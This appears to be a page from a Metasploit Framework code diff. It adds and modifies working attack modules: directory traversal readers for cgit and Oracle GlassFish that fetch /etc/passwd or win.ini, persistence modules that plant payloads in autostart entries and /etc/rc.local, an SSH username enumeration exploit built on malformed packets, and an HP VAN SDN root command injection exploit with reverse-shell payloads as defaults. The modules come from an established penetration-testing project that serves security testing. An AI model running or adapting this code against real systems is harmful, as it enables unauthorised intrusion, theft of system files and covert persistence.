||||
rescue ::Rex::ConnectionRefused
|
||||
print_error('An unknown error occurred.')
|
||||
rescue ::Timeout::Error
|
||||
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
|
||||
end
|
||||
end
|
||||
|
||||
def test_service
|
||||
begin
|
||||
print_status('Testing Service to make sure it is working.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code >= 100 && res.code < 500
|
||||
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,68 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'cgit Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability which
|
||||
exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
|
||||
configuration flag enable-http-clone is set to 1 (default).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-14912'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],
|
||||
['EDB', '45148']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Google Project Zero', # Vulnerability discovery
|
||||
'Dhiraj Mishra' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Aug 03 2018',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
|
||||
OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),
|
||||
OptString.new('REPO', [true, "Git repository on the remote server", '']),
|
||||
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
filename = datastore['FILEPATH']
|
||||
traversal = "../" * datastore['DEPTH'] << filename
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
|
||||
'vars_get' => {'path' => traversal}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error('Nothing was downloaded')
|
||||
return
|
||||
end
|
||||
|
||||
vprint_good("#{peer} - \n#{res.body}")
|
||||
path = store_loot(
|
||||
'cgit.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
filename
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Path Traversal in Oracle GlassFish Server Open Source Edition',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated directory traversal vulnerability
|
||||
which exits in administration console of Oracle GlassFish Server 4.1, which is
|
||||
listening by default on port 4848/TCP.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-1000028'],
|
||||
['URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904'],
|
||||
['EDB', '39441']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Trustwave SpiderLabs', # Vulnerability discovery
|
||||
'Dhiraj Mishra' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Aug 08 2015',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(4848),
|
||||
OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),
|
||||
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
filename = datastore['FILEPATH']
|
||||
traversal = "%c0%af.." * datastore['DEPTH'] << filename
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/theme/META-INF/prototype#{traversal}"
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error('Nothing was downloaded')
|
||||
return
|
||||
end
|
||||
|
||||
vprint_good("#{peer} - #{res.body}")
|
||||
path = store_loot(
|
||||
'oracle.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
filename
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
end
|
||||
end
|
|
@ -70,13 +70,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def do_login(user, pass, ip)
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
auth_methods: ['password'],
|
||||
port: rport,
|
||||
config: false,
|
||||
use_agent: false,
|
||||
password: pass,
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
:auth_methods => ['password'],
|
||||
:port => rport,
|
||||
:config => false,
|
||||
:use_agent => false,
|
||||
:password => pass,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -67,13 +67,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def check_vulnerable(ip)
|
||||
opt_hash = {
|
||||
port: rport,
|
||||
auth_methods: ['password', 'keyboard-interactive'],
|
||||
use_agent: false,
|
||||
config: false,
|
||||
password_prompt: Net::SSH::Prompt.new,
|
||||
non_interactive: true,
|
||||
proxies: datastore['Proxies']
|
||||
:port => rport,
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:password_prompt => Net::SSH::Prompt.new,
|
||||
:non_interactive => true,
|
||||
:proxies => datastore['Proxies'],
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
begin
|
||||
|
@ -105,11 +106,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
pass = Rex::Text.rand_text_alphanumeric(8)
|
||||
|
||||
opt_hash = {
|
||||
auth_methods: ['password', 'keyboard-interactive'],
|
||||
port: port,
|
||||
use_agent: false,
|
||||
config: false,
|
||||
proxies: datastore['Proxies']
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:port => port,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:proxies => datastore['Proxies'],
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -55,6 +55,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
non_interactive: true,
|
||||
config: false,
|
||||
use_agent: false,
|
||||
verify_host_key: :never,
|
||||
proxy: factory
|
||||
}
|
||||
|
||||
|
|
|
@ -43,11 +43,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
factory = ssh_socket_factory
|
||||
ssh_opts = {
|
||||
port: rport,
|
||||
auth_methods: ['password', 'keyboard-interactive'],
|
||||
password: %q{<<< %s(un='%s') = %u},
|
||||
proxy: factory,
|
||||
:non_interactive => true
|
||||
:port => rport,
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:password => %q{<<< %s(un='%s') = %u},
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -13,33 +13,65 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SSH Username Enumeration',
|
||||
'Description' => %q{
|
||||
This module uses a time-based attack to enumerate users on an OpenSSH server.
|
||||
'Name' => 'SSH Username Enumeration',
|
||||
'Description' => %q{
|
||||
This module uses a malformed packet or timing attack to enumerate users on
|
||||
an OpenSSH server.
|
||||
|
||||
The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST
|
||||
packet using public key authentication (must be enabled) to enumerate users.
|
||||
|
||||
On some versions of OpenSSH under some configurations, OpenSSH will return a
|
||||
"permission denied" error for an invalid user faster than for a valid user.
|
||||
"permission denied" error for an invalid user faster than for a valid user,
|
||||
creating an opportunity for a timing attack to enumerate users.
|
||||
|
||||
Testing note: invalid users were logged, while valid users were not. YMMV.
|
||||
},
|
||||
'Author' => ['kenkeiras'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2006-5229'],
|
||||
['OSVDB', '32721'],
|
||||
['BID', '20418']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [
|
||||
'kenkeiras', # Timing attack
|
||||
'Dariusz Tytko', # Malformed packet
|
||||
'Michal Sajdak', # Malformed packet
|
||||
'Qualys', # Malformed packet
|
||||
'wvu' # Malformed packet
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2003-0190'],
|
||||
['CVE', '2006-5229'],
|
||||
['CVE', '2016-6210'],
|
||||
['CVE', '2018-15473'],
|
||||
['OSVDB', '32721'],
|
||||
['BID', '20418'],
|
||||
['URL', 'http://seclists.org/oss-sec/2018/q3/124']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['Malformed Packet',
|
||||
'Description' => 'Use a malformed packet',
|
||||
'Type' => :malformed_packet
|
||||
],
|
||||
['Timing Attack',
|
||||
'Description' => 'Use a timing attack',
|
||||
'Type' => :timing_attack
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Malformed Packet'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
Opt::RPORT(22),
|
||||
OptString.new('USERNAME',
|
||||
[false, 'Single username to test (username spray)']),
|
||||
OptPath.new('USER_FILE',
|
||||
[true, 'File containing usernames, one per line', nil]),
|
||||
[false, 'File containing usernames, one per line']),
|
||||
OptInt.new('THRESHOLD',
|
||||
[true,
|
||||
'Amount of seconds needed before a user is considered ' \
|
||||
'found', 10])
|
||||
], self.class
|
||||
'found (timing attack only)', 10]),
|
||||
OptBool.new('CHECK_FALSE',
|
||||
[false, 'Check for false positives (random username)', false])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -71,48 +103,66 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
# Returns true if a nonsense username appears active.
|
||||
def check_false_positive(ip)
|
||||
user = Rex::Text.rand_text_alphanumeric(8)
|
||||
result = attempt_user(user, ip)
|
||||
return(result == :success)
|
||||
user = Rex::Text.rand_text_alphanumeric(8..32)
|
||||
attempt_user(user, ip) == :success
|
||||
end
|
||||
|
||||
def check_user(ip, user, port)
|
||||
pass = Rex::Text.rand_text_alphanumeric(64_000)
|
||||
factory = ssh_socket_factory
|
||||
opt_hash = {
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:port => port,
|
||||
:use_agent => false,
|
||||
:password => pass,
|
||||
:config => false,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
technique = action['Type']
|
||||
|
||||
opts = {
|
||||
:port => port,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:proxy => ssh_socket_factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
# The auth method is converted into a class name for instantiation,
|
||||
# so malformed-packet here becomes MalformedPacket defined below
|
||||
case technique
|
||||
when :malformed_packet
|
||||
opts.merge!(:auth_methods => ['malformed-packet'])
|
||||
when :timing_attack
|
||||
opts.merge!(
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:password => rand_pass
|
||||
)
|
||||
end
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
start_time = Time.new
|
||||
|
||||
begin
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
Net::SSH.start(ip, user, opt_hash)
|
||||
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
Net::SSH.start(ip, user, opts)
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
return :connection_error
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
return :success
|
||||
rescue ::Timeout::Error
|
||||
return :success
|
||||
rescue Net::SSH::Exception
|
||||
rescue Timeout::Error
|
||||
return :success if technique == :timing_attack
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
return :fail if technique == :malformed_packet
|
||||
rescue Net::SSH::Exception => e
|
||||
vprint_error("#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
finish_time = Time.new
|
||||
|
||||
if finish_time - start_time > threshold
|
||||
:success
|
||||
else
|
||||
:fail
|
||||
case technique
|
||||
when :malformed_packet
|
||||
return :success if ssh
|
||||
when :timing_attack
|
||||
return :success if (finish_time - start_time > threshold)
|
||||
end
|
||||
|
||||
:fail
|
||||
end
|
||||
|
||||
def rand_pass
|
||||
Rex::Text.rand_text_english(64_000..65_000)
|
||||
end
|
||||
|
||||
def do_report(ip, user, port)
|
||||
|
@ -145,11 +195,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def user_list
|
||||
if File.readable? datastore['USER_FILE']
|
||||
File.new(datastore['USER_FILE']).read.split
|
||||
else
|
||||
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
|
||||
users = []
|
||||
|
||||
if datastore['USERNAME']
|
||||
users << datastore['USERNAME']
|
||||
elsif datastore['USER_FILE'] && File.readable?(datastore['USER_FILE'])
|
||||
users += File.read(datastore['USER_FILE']).split
|
||||
end
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
def attempt_user(user, ip)
|
||||
|
@ -182,13 +236,70 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status "#{peer(ip)} Checking for false positives"
|
||||
if check_false_positive(ip)
|
||||
print_error "#{peer(ip)} throws false positive results. Aborting."
|
||||
return
|
||||
else
|
||||
print_status "#{peer(ip)} Starting scan"
|
||||
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
|
||||
print_status("#{peer(ip)} Using #{action.name.downcase} technique")
|
||||
|
||||
if datastore['CHECK_FALSE']
|
||||
print_status("#{peer(ip)} Checking for false positives")
|
||||
if check_false_positive(ip)
|
||||
print_error("#{peer(ip)} throws false positive results. Aborting.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
users = user_list
|
||||
|
||||
if users.empty?
|
||||
print_error('Please populate USERNAME or USER_FILE')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer(ip)} Starting scan")
|
||||
users.each { |user| show_result(attempt_user(user, ip), user, ip) }
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Define malformed-packet auth method for Net::SSH.start
|
||||
#
|
||||
# XXX: This is ghetto af (see lib/msf/core/exploit/fortinet.rb)
|
||||
#
|
||||
# https://tools.ietf.org/rfc/rfc4252.txt
|
||||
# https://tools.ietf.org/rfc/rfc4253.txt
|
||||
#
|
||||
class Net::SSH::Authentication::Methods::MalformedPacket < Net::SSH::Authentication::Methods::Abstract
|
||||
def authenticate(service_name, username, password = nil)
|
||||
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (publickey)' }
|
||||
|
||||
# Corrupt everything after auth method
|
||||
send_message(userauth_request(
|
||||
=begin
|
||||
string user name in ISO-10646 UTF-8 encoding [RFC3629]
|
||||
string service name in US-ASCII
|
||||
string "publickey"
|
||||
boolean FALSE
|
||||
string public key algorithm name
|
||||
string public key blob
|
||||
=end
|
||||
username,
|
||||
service_name,
|
||||
'publickey',
|
||||
Rex::Text.rand_text_english(8..42)
|
||||
))
|
||||
|
||||
# SSH_MSG_DISCONNECT is queued
|
||||
begin
|
||||
message = session.next_message
|
||||
rescue Net::SSH::Disconnect
|
||||
debug { 'Received SSH_MSG_DISCONNECT' }
|
||||
return true
|
||||
end
|
||||
|
||||
if message && message.type == USERAUTH_FAILURE
|
||||
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
|
||||
return false
|
||||
end
|
||||
|
||||
# We'll probably never hit this
|
||||
false
|
||||
end
|
||||
end
|
||||
|
|
|
@ -204,13 +204,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
factory = ssh_socket_factory
|
||||
opt_hash = {
|
||||
:auth_methods => ['publickey'],
|
||||
:port => port,
|
||||
:key_data => key_data[:public],
|
||||
:use_agent => false,
|
||||
:config =>false,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
:auth_methods => ['publickey'],
|
||||
:port => port,
|
||||
:key_data => key_data[:public],
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -79,13 +79,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def do_login(user, pass)
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
auth_methods: ['password', 'keyboard-interactive'],
|
||||
port: rport,
|
||||
use_agent: false,
|
||||
config: false,
|
||||
password: pass,
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:port => rport,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:password => pass,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -16,8 +16,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP VAN SDN Controller Root Command Injection',
|
||||
'Description' => %q{
|
||||
'Name' => 'HP VAN SDN Controller Root Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a hardcoded service token or default credentials
|
||||
in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.
|
||||
|
||||
|
@ -27,34 +27,36 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
If the service token option TOKEN is blank, USERNAME and PASSWORD will
|
||||
be used for authentication. An additional login request will be sent.
|
||||
},
|
||||
'Author' => [
|
||||
'Author' => [
|
||||
'Matt Bergin', # Vulnerability discovery and Python exploit
|
||||
'wvu' # Metasploit module and additional ~research~
|
||||
],
|
||||
'References' => [
|
||||
'References' => [
|
||||
['EDB', '44951'],
|
||||
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 25 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
'DisclosureDate' => 'Jun 25 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Unix In-Memory',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'BadChars' => ' '}
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {'BadChars' => ' '},
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
|
||||
],
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
|
||||
))
|
||||
|
||||
register_options([
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Autostart Desktop Item Persistence',
|
||||
'Description' => %q(
|
||||
This module will create an autostart entry to execute a payload.
|
||||
The payload will be executed when the users logs in.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Eliott Teissonniere' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {
|
||||
'BadChars' => '#%\n"',
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic python netcat perl'
|
||||
}
|
||||
},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
|
||||
'DisclosureDate' => 'Feb 13 2006', # Date of the 0.5 doc for autostart
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
|
||||
end
|
||||
|
||||
def exploit
|
||||
name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)
|
||||
|
||||
home = cmd_exec('echo ~')
|
||||
|
||||
path = "#{home}/.config/autostart/#{name}.desktop"
|
||||
|
||||
print_status('Making sure the autostart directory exists')
|
||||
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
|
||||
|
||||
print_status("Uploading autostart file #{path}")
|
||||
|
||||
write_file(path, [
|
||||
"[Desktop Entry]",
|
||||
"Type=Application",
|
||||
"Name=#{name}",
|
||||
"NoDisplay=true",
|
||||
"Terminal=false",
|
||||
"Exec=/bin/sh -c \"#{payload.encoded}\""
|
||||
].join("\n"))
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'rc.local Persistence',
|
||||
'Description' => %q(
|
||||
This module will edit /etc/rc.local in order to persist a payload.
|
||||
The payload will be executed on the next reboot.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Eliott Teissonniere' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {
|
||||
'BadChars' => "#%\n",
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic python ruby netcat perl'
|
||||
}
|
||||
},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
|
||||
'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, '/etc/rc.local is not writable'
|
||||
end
|
||||
|
||||
print_status('Reading /etc/rc.local')
|
||||
|
||||
# read /etc/rc.local, but remove `exit 0`
|
||||
rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
|
||||
|
||||
# add payload and put back `exit 0`
|
||||
rc_local << "\n#{payload.encoded}\nexit 0\n"
|
||||
|
||||
# write new file
|
||||
print_status('Patching /etc/rc.local')
|
||||
write_file('/etc/rc.local', rc_local)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -74,13 +74,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def do_login(user)
|
||||
factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
|
||||
opt_hash = {
|
||||
auth_methods: ['publickey'],
|
||||
port: rport,
|
||||
key_data: [ key_data ],
|
||||
use_agent: false,
|
||||
config: false,
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
:auth_methods => ['publickey'],
|
||||
:port => rport,
|
||||
:key_data => [ key_data ],
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
begin
|
||||
|
|
|
@ -118,13 +118,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
factory = ssh_socket_factory
|
||||
|
||||
ssh_options = {
|
||||
auth_methods: ['publickey'],
|
||||
config: false,
|
||||
use_agent: false,
|
||||
key_data: [ key_data ],
|
||||
port: rport,
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
:auth_methods => ['publickey'],
|
||||
:config => false,
|
||||
:use_agent => false,
|
||||
:key_data => [ key_data ],
|
||||
:port => rport,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
|
|
|
@ -77,13 +77,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
factory = Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
|
||||
|
||||
opt_hash = {
|
||||
auth_methods: ['publickey'],
|
||||
port: rport,
|
||||
key_data: [ key_data ],
|
||||
use_agent: false,
|
||||
config: false,
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
:auth_methods => ['publickey'],
|
||||
:port => rport,
|
||||
:key_data => [ key_data ],
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:proxy => factory,
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
|
||||
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue